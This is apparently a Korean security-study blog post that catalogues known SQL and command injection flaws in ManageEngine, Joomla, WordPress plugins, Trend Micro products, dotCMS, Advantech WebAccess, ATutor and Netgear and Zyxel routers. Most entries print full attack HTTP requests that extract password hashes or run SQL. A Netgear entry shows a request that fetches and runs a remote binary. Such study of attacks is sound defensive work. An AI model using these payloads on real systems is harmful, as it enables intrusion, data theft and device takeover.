- ManageEngine은 ZOHO Corp.의 엔터프라이즈 IT 관리 소프트웨어 부서
1) addMailServerSettings
- /api/json/v1/admin/ConfigureMailServerSettings URI에 HTTP Request를 전달할 때 처리되는 mailservername의 매개변수를 적절하게 검증하지 않기 때문에 발생
- HTTP Request를 조작하여 취약점을 악용할 수 있고, 악용에 성공하면 임의 코드가 실행
- Content-Disposition: form-data; name="mailserverport"에서 SQL Injection을 위한 싱글쿼터(')가 포함되어 있는 문자열에서 추출
- HTTP Body가 아닌 URI의 mailserverport 파라미터에도 취약점이 존재한다. 하지만 문자열 길이가 짧다는 점으로 인해서 honeynet에서 모니터링 중, 공격 탐지시 추가 릴리즈 예정
POST /api/json/v2/admin/ConfigureMailServerSettings?apiKey=106c7fa48fe27b21f14e0cdc361a674a HTTP/1.1 Accept-Encoding: identity Connection: keep-alive Accept-Language: en-US,en;q=0.5 Cookie: CountryName=CANADA; encryptPassForAutomaticSignin=82a3161ad68e57b6; userNameForAutomaticSignin=admin; domainNameForAutomaticSignin=Authenticator; signInAutomatically=true; authrule_name=Authenticator; JSESSIONID=D0492D00C099663DC1B33900B8062656; Path=/; HttpOnly, NFA__SSO=0D1D9EA30F8FADD9C96D856B1757FFCF; Path=/; NFA__SSO=0D1D9EA30F8FADD9C96D856B1757FFCF; Path=/ X-Requested-With: XMLHttpRequest Content-Length: 1457 Content-Type: multipart/Form-data; boundary=---------------------------1840125629317 Host: 172.16.8.254:8060 Accept: */* -----------------------------1840125629317 Content-Disposition: form-data; name="mailservername" ','4','b','b','B','B','0','L','L','0','B');CREATE TABLE dbo.poc(code INT);-- -----------------------------1840125629317 Content-Disposition: form-data; name="mailserverport" 4 -----------------------------1840125629317 Content-Disposition: form-data; name="timeout" 4 -----------------------------1840125629317 Content-disposition: form-data; name="fromemailid" 4 -----------------------------1840125629317 Content-Disposition: form-data; name="emailid" 4 -----------------------------1840125629317 Content-Disposition: form-data; name="requiresauth" |
POST /api/json/v2/admin/ConfigureMailServerSettings?apiKey=106c7fa48fe27b21f14e0cdc361a674a HTTP/1.1
4
|
2) setManaged
- /api/json/device/setManaged로 시작하는 HTTP POST 요청을 받으면 setManaged() 메서드가 호출되어 처리하는데 name 매개 변수의 유효성을 적절하게 검증하지 않아 발생
- 악용에 성공하면 임의의 SQL 코드를 실행
- SQL Injection 공격을 진행하기 위해서는 인증이 필요하지만, CVE-2018-17283(sql injection, authentication bypass exists) 취약점에서 apiKey 매개변수를 이용한 인증 우회 취약점이 존재하고, default password가 admin admin으로 지정됨
POST /api/json/device/setManaged?apiKey=43db3314d84e0db17b9fbe99ef9c9d39&manage=false HTTP/1.1 Accept-Encoding: identity Content-Length: 56 Accept-Language: en-US,en;q=0.5 Host: 2.2.2.2:8060 Accept: */* Connection: keep-alive X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded
name=anything%27%3BCREATE%20TABLE%20poc(code%20INT)%3B-- |
Joomla SQL Injection
- PHP로 작성된 오픈 소스 저작물 관리 시스템
- MySQL 데이터베이스를 이용해 웹상에서 다양한 컨텐츠를 관리, 보관, 출판할 수 있는 기능을 갖고 있음
- 라이선스는 GPL이며 다양한 언어를 함께 지원
1) ComFields
- 저장되어 있던 구성 요소를 가져오는 역할을 수행할 때, 관리자 엑세스 권한을 가져올 수 있음
- 공격자가 지정되지 않은 벡터를 통해 임의의 SQL 명령을 실행할 수있게함
GET /joomla/index.php?option=com_fields&layout=modal&list%5Bfullordering%5D=updatexml%29%20AND%209308%3D9308%20AND%20%288829%3D8 829 HTTP/1.1 Accept-Encoding: gzip,deflate Host: 1.1.1.1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 Connection: close Referer: http:/localhost/joomla/index.php |
GET /joomla/index.php?option=com_fields&view=fields&layout=modal&list%5Bfullordering%5D= (SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(0x54534c54534c,(SELECT%20username%20FROM%20hwmby_users),0x54534c54534c,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PL UGINS%20GROUP%20BY%20x)a) HTTP/1.1 Host: 1.1.1.1 Cookie: fb99fdf0c756b306b9887f29624e1395=vdga8joi34d0rk7u6fgdaf42h4 Accept-Encoding: gzip, deflate, compress Accept: */* User-Agent: TSL PoC HTTP/1.1 500 Internal Server Error Date: Mon, 29 May 2017 18:58:56 GMT Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 X-Powered-By: PHP/5.6.30 Cache-Control: no-cache Pragma: no-cache Content-Length: 2808 Connection: close Content-Type: text/html; charset=UTF-8 <!DOCTYPE html> <html lang="en-gb" dir="ltr"> <head> <meta charset="utf-8" /> <title>Error: 500 Duplicate entry 'TSLTSLvrtTSLTSL1' for key 'group_key'</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link href="//fonts.googleapis.com/css?family=Open+Sans" rel="stylesheet" /> <style> h1, h2, h3, h4, h5, h6, .site-title { font-family: 'Open Sans', sans-serif; } </style> <link href="/joomla/templates/protostar/css/template.css" rel="stylesheet" /> <link href="/joomla/templates/protostar/favicon.ico" rel="shortcut icon" type="image/vnd.microsoft.icon" /> <!--[if lt IE 9]><script src="/joomla/media/jui/js/html5.js"></script><![endif]--> </head> |
2) User Notes
- filter[category_id] HTTP 매개 변수의 입력 값에 대한 유효성 검사 부족으로 인해 발생
- 악의적으로 조작된 SQL 쿼리문을 포함한 요청문을 보냄으로 공격가능
- 내부 데이터베이스(DB) 서버의 데이터를 유출 및 변조하고 관리자 인증을 우회
POST /joomla/administrator/index.php?option=com_users&view=notes HTTP/1.1 Host: 1.1.1.1 Accept: */* Content-Type: application/x-www-form-urlencoded Referer: http://1.1.1.1/joomla/administrator/index.phpi Cookie: 10583dee237e8f46da52c5a70577e1ab=kcf6p32hg21ahvrrvraabtcnuj Content-Length: 112 filter%5Bcategory_id%5D=7+AND+ascii(substring((SELECT+concat(1,password,0x2F)+from+#__users+limit+0,1),2,1))>31& |
WordPress SQL Injection
- 오픈 소스 블로그 소프트웨어
1) Mail Masta Plugin list_id
- inc/lists/cscexport.php 파일의 알려지지 않은 함수에서 취약점 발생, 공격 시 list_id 인자 값으로 공격 가능
- 공격 성공 시, 정보 유출 및 정보 변경 가능
2) Mail Masta Plugin filter_list
- /inc/lists/view-list.php 파일의 알려지지 않은 함수에서 취약점이 발생 filter_list 인자 값으로 공격 가능
- 공격 성공 시, 정보 유출 및 정보 변경이 가능
3) Plugin Ultimate Product Catalogue
- 플러그인을 사용할때 필요한 CatID 변수에 적절한 검사(union 구문) 가 존재하지 않아 발생
- 공격 성공 시 임의의 코드를 실행
POST /wp-admin/admin-ajax.php?action=get_upcp_subcategories HTTP/1.1 Accept: text/html, application/xhtml+xml, */* Accept-Language: ko-KR Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: 1.1.1.1 Content-Length: 69 Connection: Keep-Alive Cache-Control: no-cache CatID=0+UNION+SELECTuser_login%2Cuser_pass+FROM+wp_users+WHERE+ID%3D1 |
4) Wpdb_prepare
- Wordpress 4.8.2 이전 버전은 wpdb-> prepare에서 % 문자와 추가 자리 표시 자의 값을 잘못 처리
- edit.php에서 _thumbnail_id 를 통해 악성 Query를 전송하면 입력 데이터에 대한 기능 검사 부족으로 악성 행위가 진행됩니다.
GET /wp-admin/edit.php?action=delete&_wpnonce=xxx&ids=55%20%1$%s HTTP/1.1 Host: 1.1.1.1 Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 Upgrade-Insecure-Requests: 1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4 GET /wp-admin/edit.php?action=delete&_wpnonce=xxx&ids=55%20%1$%s%20or%20sleep(10) HTTP/1.1 Host: 1.1.1.1 Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 Upgrade-Insecure-Requests: 1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4 |
GET /wordpress/wp-admin/upload.php?_wpnonce=daab7cfabf&action=delete&media%5B%5D=5%20%251%24%25s%20hello HTTP/1.1 Accept: text/html, application/xhtml+xml, */* Accept-Language: ko-KR User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: 172.16.50.243 DNT: 1 Connection: Keep-Alive Cookie: wordpress_fef8f49761f8b13d45e180f3c3ceec8b=somputer%7C1509873887%7CapUCSkI0kWU57lIpckINA8DwX3s3bsqlejCdJ62aLqb%7C3f392fe2d477b9a48e64d648e524fa9168f08502a17822afcd0f03e20ab46647; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_fef8f49761f8b13d45e180f3c3ceec8b=somputer%7C1509873887%7CapUCSkI0kWU57lIpckINA8DwX3s3bsqlejCdJ62aLqb%7C546761797961dc7fd8012f1d55d08f5925e73f484f8f53423853c8a9877d0957; wp-settings-time-1=1509701722 |
5) Slideshow plugin admin-ajax.php
- Slideshow 플러그인은 슬라이드 쇼를 통합하는 쉬운 방법을 제공 (이미지를 슬라이드쇼로 불러옴)
- GBgallery.php파일 안에 존재하는 WordPress용 Slideshow plugin 1.5가 매개 변수를 적절히 필터링 하지 못해 발생
- 원격의 공격자는 취약점을 공격하기 위해 wb-admin/admin-ajax.php로 접근 수행
- ction=gb_ajax_get_group&gb_nonce=5356513fbe&selected_group=[SQL_Injection] 페이로드 구문을 이용해 공격 수행
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1 Accept-language: en-us,en;q=0.5 Accept-encoding: gzip,deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 User-agent: sqlmap/1.0-dev-5b2ded0 (http://sqlmap.org) Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: 10.0.0.67 Cookie: wordpress_75aacd302e2a4723897cb1d154c13f77=pippo%7C1407707530%7C5ae003a01e51c11e530c14f6149c9d07; wp-settings-time-1=1407537471; wp-settings-time-2=1406916594; wp-settings-1=editor%3Dtinymce%26libraryContent%3Dbrowse; voted_2=6; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_75aacd302e2a4723897cb1d154c13f77=pippo%7C1407707530%7C6988bc86de7b7790fca51ea294e171a1; redux_current_tab=3 Pragma: no-cache Cache-control: no-cache,no-store Content-type: application/x-www-form-urlencoded; charset=utf-8 Content-length: 120 Connection: close action=gb_ajax_get_group&gb_nonce=5356513fbe&selected_group=[SQL_Injection] |
Oracle SQL Injection
1) 9i/10g DBMS_AQ.ENQUEUE
- PL/SQL의 DBMS_AQpackage 내의 ENQUEUE프로시저에서 입력된 값을 올바르게 처리하지 못하여 발생
CVE-2007-0268 CVE-2006-4343 CVE-2006-4339 CVE-2006-3738 CVE-2006-2940 CVE-2001-0729
2) KUPM$MCP.MAIN
- PL/SQL의 "KUPM$MCP"package 내의 MAIN프로시저에서 입력된 값을 올바르게 처리하지 못하여 발생
CVE-2006-0283 CVE-2006-0270 CVE-2006-0265 CVE-2005-2378 CVE-2005-2371 CVE-2005-2093 CVE-2005-0873
3) 10g DBMS_METADAT.GET_DDL
- PL/SQL의 "DBMS_METADAT"package 내의 GET_DDL프로시저에서 입력된 값을 올바르게 처리하지 못하여 발생
CVE-2006-0283 CVE-2006-0270 CVE-2006-0265 CVE-2005-2378 CVE-2005-2371 CVE-2005-2093 CVE-2005-0873
4) 10g ACTIVATE_SUBSCRIPTION
- PL/SQL의 "Oracle DBMS_CDC_SUBSCRIBE"package 내의 ACTIVATE_SUBSCRIPTION프로시저에서 입력된 값을 올바르게 처리하지 못하여 발생
ProProFTPD Server Username Handling SQL Injection
- 사용자 이름 문자열을 SQL 쿼리에 사용하기 전에 적절히 검사하지 않기 때문에 발생
- 인증되지 않은 원격의 공격자가 대상 ProFTPD 서버에 악성 사용자 이름(username)을 사용한 SQL 쿼리를 전송하여 공격
SQL Injection Login Bypass
- 특정 구문을 이용(user=' or), 보안장비의 탐지 우회를 시도하며, 조작된 문자열를 이용하여 DB계정 및 접속 권한의 획득 후 시스템에 명령을 내리거나 파일을 업로드 하는 등의 DB서버에 악의적인 행동을 수행
- 관리자가 쉽게 발견하지 못하도록 하기 위하여 DB 서버에 영향을 주지 않고 사용자 단위의 감염을 유도하는 악성코드만을 삽입
1. 입력 값을 제한하여 입력 값이 아닌 문자 입력 시 필터링을 적용한다.
2. 웹과 DB의 연동 시 SA계정 사용 불허한다.
3. PHP인 경우 환경설정파일인 php.ini에서 magic_quotes_gpc 옵션을 on으로 설정한다.(', ", \, 널 문자 사용금지)
POST /cryptolog/login.php?act=login HTTP/1.1 Host: 1.1.1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Content-Type: application/x-www-form-urlencoded Content-Length: 53 user=%27%20OR%2023804%3d23804%23&pass=BRgpgRYatxcyLHF |
ManageEngine Applications Manager SQL Injection
- 비즈니스 응용 프로그램을 사전에 모니터링하는 웹 기반의 실시간 응용 프로그램 성능 모니터링 프로그램
- MenuHandlerServlet으로 전달되는 config_id 파라미터 값을 제대로 검증하지 않아 발생
- 공격 성공 시, SQL 문을 실행
POST /servlet/MenuHandlerServlet?action=verticalmenulist&config_id=1%3bcreate%20table%20aaa(code%20int)%3b-- HTTP/1.1 Accept-Encoding: identity Host: 1.1.1.1:9090 Content-Type: application/x-www-form-urlencoded; charset=utf-8 Content-Length: 0 HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID_APM_9090=2646A3E873A66AE794E0AB2D344F4EEC; Path=/; HttpOnly Content-Length: 175 Date: Tue, 11 Apr 2017 14:16:17 GMT {"1":[["11","Credential Settings"],["12","Template Library"],["13","Add / Discover"],["14","Custom Monitor Types"],["15","Performance Polling"],["16","Downtime Scheduler"]]} |
Trend Micro SSFE get_nic_device SQL Injection
- 서버 및 사용자 장치에 동기화 된 데이터 액세스를 제공
- SafeSync NIC 장치에 대한 정보를 얻기 위해 쿼리를 보낼 때 사용자가 입력한 role 파라미터의 유효성 검사를 제대로 하지 않아 발생
- 공격 성공 시, 임의의 코드를 실행
GET /api/admin/storage/nic?role=1+union+select+hpassword+from+users HTTP/1.1 Host: 1.1.1.1:3443 Accept-Encoding: identity cookie: mgmtui_session=7b8693794bc76694d98e99b99bedf4376f241a82 referer: htpps://1.1.1.1:3443/admin_system_update.html HTTP/1.1 200 OK Server: nginx/1.8.0 Date: Tue, 25 Apr 2017 17:55:08 GMT Content-Type: application/json Content-Length: 74 Connection: keep-alive Vary: Content-Type Set-Cookie: mgmtui_session=7b8693794bc76694d98e99b99bedf4376f241a82; path=/; expires=Tue, 25-Apr-2017 18:25:08 GMT; HttpOnly X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000; includeSubDomains; {"status":"ok","session_token":"7b8693794bc76694d98e99b99bedf4376f241a82"}HTTP/1.1 200 OK Server: nginx/1.8.0 Date: Tue, 25 Apr 2017 17:55:08 GMT Content-Type: application/json; charset=utf-8 Content-Length: 230 Connection: keep-alive Set-Cookie: mgmtui_session=7b8693794bc76694d98e99b99bedf4376f241a82; path=/; expires=Tue, 25-Apr-2017 18:25:08 GMT; HttpOnly X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000; includeSubDomains; {"count":4,"device":[{"ip":"","name":"eth0"},{"ip":"","name":""},{"ip":"","name":"15|Mzg5NTIyMDYzMg==|W8Y6bvpsEKC5IPXmqUkIlcM1TcHSwfkl2VeKEekV1UM="},{"ip":"","name":"15|Mzg0NjIwNzM1|X/qzdsIOYG2H4VSWx8sMry8RpgC0Ciq9wZhiKPG2pcs="}]} |
dotCMS categoriesServlet Blind SQL Injection
- dotCMS 설치시 기본값인 categoriesServlet 에서 q 매개 변수에 대한 적절한 필터링이 존재하지 않아 발생
- 해당 매개 변수에 특정 구문을 이용하여 공격
- 공격 성공 시 Database 계정 정보 획득
GET /categoriesServlet?q=%5c%5c%27)+OR%2f%2a%2a%2f(SELECT(SUBSTRING((SELECT()FROM(.user_)LIMIT%2f%2a%2a%2f,1),,1)))LIKE+BINARY+%2f%2a%2a%2fORDER+BY+category.sort_order%23 HTTP/1.1 Host: 1.1.1.1 Accept: */* User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0 Upgrade-Insecure-Requests: 1 |
Trend Micro Control Manager SQL Injection
- 중앙 집중식 대규모 예방 관리 콘솔
- cmdHandlerStatusMonitor.dll 및 DMServer.exe에서 사용자가 입력 한 값을 제대로 검사 하지 못해 발생
- 공격 대상 서버에 악의적으로 조작된 요청문을 보냄으로 공격
- 공격 성공 시, 데이터베이스의 보안 컨텍스트에서 임의의 코드가 실행
00000000 00 00 00 33 54 72 65 6e 64 49 50 43 00 6b 1b 20 ...3Tren dIPC.k. 00000010 00 00 00 66 6f 6f 27 3b 20 57 41 49 54 46 4f 52 ...foo'; WAITFOR 00000020 20 44 45 4c 41 59 20 27 30 30 3a 30 30 3a 31 30 DELAY ' 00:00:10 00000030 27 2d 2d '-- |
Advantech WebAccess Node chkLogin2 SQL Injection
- HMI(Human-Machine Interfaces) 및 SCADA (Supervisory Control and Data Acquisition) 시스템을 위한 웹 기반 소프트웨어 패키지
- /broadWeb/BEMS/include/
chkLogin2.asp에 전달되는 user 및 username 매개변수의 값에 SQL Injection 공격 구문에 대한 검증이 제대로 이루어지지 않아 발생
- 원격의 공격자는 악의적으로 조작된 요청문을 영향받는 서버에 보냄으로 공격수행
- 공격 성공 시, 민감한 정보가 유출
POST /broadWeb/BEMS/include/chkLogin2.asp?user=1'+OR+IIF((select%20top%201%20LEN(PASSWORD)%20from%20BAUser)=1,'2','1')='1'%16 HTTP/1.1 Host: 1.1.1.1 Referer: https://1.1.1.1/broadWeb/user/AdminPg.asp Cookie: 9d4bb4a09f511681369671a08beff228=etiq3m7caed6ekcpb1m9tdc6v; Content-Length: 23 username=11&password=12 |
Atutor search_friends_I SQL Injection
- 온라인 과정을 개발하고 e러닝 콘텐츠를 만드는 데 사용되는 무료 오픈 소스 LMS(Learning Management System)
- search_friends_I의 인자 값이 전달될 때 검증이 누락되어 SQL 쿼리 인젝션이 가능
- 공격자는 이를 이용하여 인증 우회 및 악의적인 코드 실행이 가능
POST /ATutor/mods/_standard/social/index_public.php HTTP/1.1 Host: 1.1.1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Content-Type: application/x-www-form-urlencoded Content-Length: 218 search_friends_I=dxl%27/%2a%2a/or/%2a%2a/%28select/%2a%2a/length%28concat%28login%2c0x3a%2cpassword%29%29/%2a%2a/from/%2a%2a/AT_admins/%2a%2a/limit/%2a%2a/0%2c1%29%3e63/%2a%2a/or/%2a%2a/1%3d%27&rand_key=I&search=Search |
Command Injection(Netgear Routers Vulnerability)
- 인증을 우회해 임의 코드를 실행하는 취약점(특정한 URL에 대해 인증 검사를 수행하지 않음)
- Currentsetting.htm에 하위 문자열을 삽입해 setup.cgi에 GET 요청 수행 후 인증 우회
http : // <target-ip-address> /setup.cgi?currentsetting.htm=1
- 인증 우회에 성공한 사용자는 /www/.htpasswd 로컬파일 열람 등 임의의 명령어 실행 가능
GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://srcdos.com/Kuso69/Akiru.mips+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0 |
Command Injection(Zyxel Router Vulnerability)
- weblogin.cgi 실행파일을 사용하여 인증을 수행
- username 매개 변수에 특정 문자를 포함시켜 zyxel 장치에서 실행되는 웹 서버의 권한으로 명령을 삽입
GET /adv,/cgi-bin/weblogin.cgi?username=admin';ls #&password=asdf HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Mozilla/5.0 |
'Hacking & Security > Hacking & Security Theory' 카테고리의 다른 글
웹 해킹이란 무엇인가? (0) | 2020.07.03 |
---|---|
[Theory]봇넷(BotNet) 이란? (0) | 2020.06.15 |
보안관제 관련 이론 정리 (2) | 2020.03.11 |
SPoofing(스푸핑) 이란? (0) | 2019.11.13 |
[Security Theory] Sniffing(스니핑) 이란? (0) | 2019.11.05 |
공부&일상 블로그
포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요! 질문은 언제나 환영입니다😊